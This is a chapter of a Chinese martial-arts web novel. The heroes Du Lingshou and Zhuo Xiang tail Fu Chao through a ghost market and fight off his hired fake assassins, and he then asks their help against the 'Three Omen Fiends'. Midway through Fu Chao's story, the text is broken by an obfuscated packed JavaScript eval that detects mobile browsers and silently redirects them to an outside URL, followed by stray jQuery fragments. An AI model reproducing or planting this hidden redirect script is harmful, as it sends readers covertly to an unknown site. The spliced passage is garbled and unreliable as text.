16. 傅晁的请求

作品:《我娘是江湖传说

    “赏玉大会?”


    常旺一大早就上街买了鸡汤烧饼,他端着碗吸溜了一口,道:“赵老八家的鸡汤是每天早上现熬的,我方才去买的时候,那鸡还在锅里滚着呢!”


    “咱们人多,我直接带了锅去。”


    他嘿嘿一笑,话锋一转道:“想要玉还专门开个大会,真是有钱闲的,他若无聊,不如给我发五十钱。”


    阿云少有地赞同常旺:“你说得不错。”


    汤上浮着层金黄色的鸡油,撒了翠绿的葱花,杜灵寿拿勺子一撇,被油封住的热气纷纷滚出来。


    她小口啜饮,还是烫得舌头发麻:“那金雀坊出手倒是阔绰。”


    桌上还放着一个大油纸包,里面装着数个缀着胡麻的金黄烧饼,纸包正敞着口,防止烧饼被热气洇湿。


    这烧饼结合了西域胡饼和中原烙饼的做法,但多加了油去揉,所以口感更酥脆,杜灵寿一口咬下满嘴生香,饼屑下雪般簌簌掉落。


    油放多了虽然又脆又香,但嚼了几下便觉口中发腻,她端起碗啜饮鸡汤,滚热浓香的汤水在口中一过,顿时又能吃下一个饼了。


    “这种酥饼就是要配热汤吃的,那种有韧劲的烙饼,夹菜夹肉才好吃。”商小姜点评。


    杜灵寿问道:“最近城中除了‘凶兆三怪’,还有没有别的事?”


    她又喝了口汤,故弄玄虚道:“我们之前在邓州,还见过天价悬赏呢!”


    “嚯!邓州还有天价悬赏?你让我想想……襄州当然也有悬赏,但都是些普通的。”


    ”有个官府贴的通缉令,我家隔壁的丫蛋刚会说话时就有了,现在丫蛋都能帮家里卖货了,还没抓着呢。”


    闻言众人都笑了,杜灵寿先小小松了口气,又觉得不对劲。


    邓州与襄州虽有些距离,但离得并不十分遥远,没道理那边搞得满城风雨,这里却风平浪静。


    而昨夜在鬼市,她与卓箱也没见到自己的悬赏。


    千面谱到底在搞什么鬼?


    二人本来吃完饭就要去调查那阿晁,杜灵寿见常旺知道不少小道消息,她转念一想,问道:“你知道襄州的纨绔子弟里,有个叫何晁的吗?”


    她又补道:“也不一定姓何。”


    常旺思索半晌道:“何晁?名晁吗……咱襄州好像没这尊大佛呀……”


    他突然一拍脑袋道:“哦!你说得是不是何刺史的外甥啊?他确实不姓何,而是姓傅。”


    “他不是襄州人,不久前才来探亲,听说刺史夫人激动得流了两大缸泪呢,”他挤弄两下眼睛,“而且这位刺史外甥也不算纨绔,我没听说他做了什么离谱事。”


    没想到这人不是何家子弟。饭后,杜卓二人上何府边上盯了半日,却不见傅晁出门。


    而何府似乎也不是看上去那般风平浪静,卓箱叫杜灵寿盯着大门,自己飞檐走壁进去遛了一圈。


    没等多久,他回来道:“里面闹哄哄的,有个夫人在哭闹,口中叫着‘我的儿’,傅晁也在,一脸无措的样子。”


    “不过,他与小厮说晚间还要出去。”


    杜灵寿道:“我总感觉那傅晁还会去鬼市。”


    快要入夜,傅晁果然出了门。二人一路尾随他进了鬼市,来到了金雀坊。


    今日金雀坊继续开赏玉大会,燕郎身穿绿裙,发间插着朵红艳艳的牡丹。


    赤金耳环坠着流苏在他颊边摇曳,闪得杜灵寿眼疼。


    众人争相献玉,玉石的品相跟昨日的比还要好些,燕郎出手也比昨日阔绰,碰见不俗的玉,皆以金币赠之。


    傅晁没饮酒,也没了昨夜那份嚣张气势,看上去倒是有几分稳重,他展示了自己的玉,也没交出玉换取大奖。


    燕郎也不恼,只笑道:“多谢郎君,奴家还以为这美玉,这辈子只能见到一次呢。”


    他眼波流转道:“这么俊的郎君,奴家也是见到两次了。”说罢,竟伸手摘下金耳环,放在身旁侍女手中,随后那美貌侍女捧着双手送了过去。


    傅晁面上没什么表情,也不接那耳环,只道:“今日仍是我优胜吗?”


    “那是必然。”燕郎道。


    “好。”傅晁微微行了一礼,转身便走。


    四周怨声载道,燕郎笑而不语。


    杜卓二人跟着傅晁出了鬼市,看他的路线,似乎与昨日一样,是归家的方向。


    杜灵寿却感觉有些不对劲:“他这是……”


    还没说完,街道旁黑漆漆的棚子里,冲出几个黑衣人。


    “又来?”她总觉得哪里不对,虽然黑衣人数量多了,但动作明显不如昨日的利索,而傅晁又想脚底抹油,她小声问卓箱:“这次要不要扣下他?”


    卓箱却摇头道:“不必了,他一会儿就会乖乖回来,”说罢便冲上前去,“咱们陪他们玩一玩。”


    杜灵寿与这几个杀手过了几招,也有所明悟,因为她发现这几人虽身材壮硕,但武艺稀松平常,不像日日刀口舔血的杀手。


    她手下动作开始放水。


    卓箱与其中一人推拉几招,磨蹭间刀光猛地一闪,刀锋已跳至那人颈边,却停滞不动了。


    “两位壮士手下留情!”


    他还没说话,那傅晁已跳了出来。


    “哼。”卓箱雪亮刀片刻意在那杀手脖子上轻轻蹭了蹭,看那人扭着双腿尿了裤子,才将刀移开。


    那人跌在地上,片刻后脖子侧边渗出道细细的红线。


    其余几个杀手膝盖早已软得不成样子,见二人收手,纷纷跪下求饶。


    一人边求饶边埋怨道:“以后郎君可别叫小的们做这事了,给多少赏钱也没命花啊!”


    傅晁尴尬地挠了挠后颈,又抬头坚定道:“两位高手一见就是‘路见不平,拔刀相助’的大侠。鄙人此番引诱二位现身,并不是出于戏耍之心,而是有一不情之请。”


    他抚平衣袖,行礼道:“恳请两位大侠帮忙,同傅某一起查明‘凶兆三怪’一事。”


    他一脸难色道:“‘凶兆三怪’前几日在我表兄卧房内留信要取其性命,现在家中长辈草木皆兵,姨母在家日日以泪洗面。”


    “傅某知道二位大侠济世救民,区区财帛打不动二位的心,但是……”他面庞慢慢涨红。


    傅晁俯身下拜,恳切道:“傅某的姨夫正是襄州刺史,若是拿下了‘凶兆三怪’,傅某全家必将重谢!”


    杜灵寿狐疑道:“你不怕我们就是那‘凶兆三怪’?”


    “二位一看就是活人,我听打更人说,那‘凶兆三怪’可是会在天上飞呢!”


    “不是人还怎么查?那等死吧。”


    “哎呀……死马当活马医嘛!试一试,万一呢……”


    傅晁目光黯淡,语速也越来越慢,最后低下头不言语了。


    见这两人不接话,他挤了挤眼殷切道:“二位是不是想要那块寒山玉?”


    卓箱道:“你那玉是哪里来的?”


    傅晁回道:“前些日子,我购得一极品玉料,正是那寒山玉,于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560315|171387||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是我打算去玉器店瞧瞧样子,想想要如何雕刻。”


    “路上见到一黑衣老丈提着行李,似是要出城去,我与他擦身而过时,他身上的酒葫芦掉了下来,我顺手就接住了。”


    “拿在手里才发现,虽外皮是葫芦的土黄色,却是玉做的。


    “他要感谢我,见我手里玉料,便说帮我雕一雕。我想相逢是缘,既然有这一遭便是缘分,若是有缘,一块玉料也不算什么,就给他了。”


    傅晁摸了摸下巴回忆道:“那黑衣老丈,剃着光头却不是佛门中人。”


    “为何不是佛门中人?”


    “因为我遇见他时,他身上酒气重得很,还提着几包熏肉。”


    “哦?所以他给你雕了玉?”卓箱紧皱的眉毛松了开,一脸玩味道。


    傅晁赞叹道:“那老师傅真是绝了,我只说叫他随意雕个形状,他便在地上拾了个小树枝,醉醺醺的手还抖着。”


    “他在玉料上随意刮了几下,玉就被雕好了,样式也新奇精巧,我都以为我眼花了。”


    “我给他钱,他也不要,哼着歌就走了。”他道。


    “哼,酒葫芦就没清醒过。”卓箱道。


    杜灵寿奇道:“你认识他?”


    卓箱点头道:“一会儿再同你说。”


    转头又道:“你就这么善心大发,要给我们玉?我们看上去很值得信任吗?”


    “此事说来话长……”


    “那就长话短说。”


    傅晁被噎了一下,小声道:“……昨日我几个朋友见我闷闷不乐,便拉我去了春风楼……我平日不爱去那种地方的。”


    “因为表兄的事,我心中烦闷,饮酒饮得多了些,席间,我听到有人说,鬼市有赏玉大赛,便闹着要去鬼市。”


    “我的朋友不敢去,但怕我出事,只在鬼市外面等我。后面的事,二位也知道了。”


    他说到这里,脸色变了:“我以为是因鬼市太过招摇才引来贼人抢劫,但是……”


    “我阿娘给我托了梦,说这玉可解姨丈之忧,亦可解表兄之祸,它会带来解祸的机缘。”


    “我左思右想,只能想到昨夜在桥边有人要来杀我,那些杀手怎么替我解祸?那雕玉的老丈也出了城,我到哪里去寻?”


    “最后只想到你们,击退了杀手,却不取我性命,又因阿娘托梦,我难免不多想。”


    “于是今日我再次前往鬼市,我怕万一没人来劫,就让家丁假扮贼人,引二位现身……”


    “我如此鲁莽还有一个原因,因为信上说的就是明晚,可直至今日我仍束手无策,我……我已经慌不择路了。”


    他声音愈来愈低:“我阿娘早逝,姨母心疼我,把我当作亲生孩子疼,见姨母心碎,我……”


    “唉……好了,我们知道了。”杜灵寿示意他不必多说。


    傅晁再次下拜:“等此事了结,我必亲手将这玉送上。”


    “我们为何不直接抢呢?”卓箱道。


    “我相信二位不是那种人。”傅晁笑了笑。


    “明日亥时我在何府恭候二位大侠。”说罢便带着几个家丁匆匆离去。


    杜灵寿道:“要那玉也没啥用吧。”


    “是没啥用,但那金雀坊很可疑。”


    “你说得对。我总觉得,这赏玉大赛,天机令和凶兆三怪这三者,有什么联系……”


    “他也很可疑,”卓箱盯着傅晁远去的身影道,“金雀坊,天机令和凶兆三怪,到底有什么联系呢?”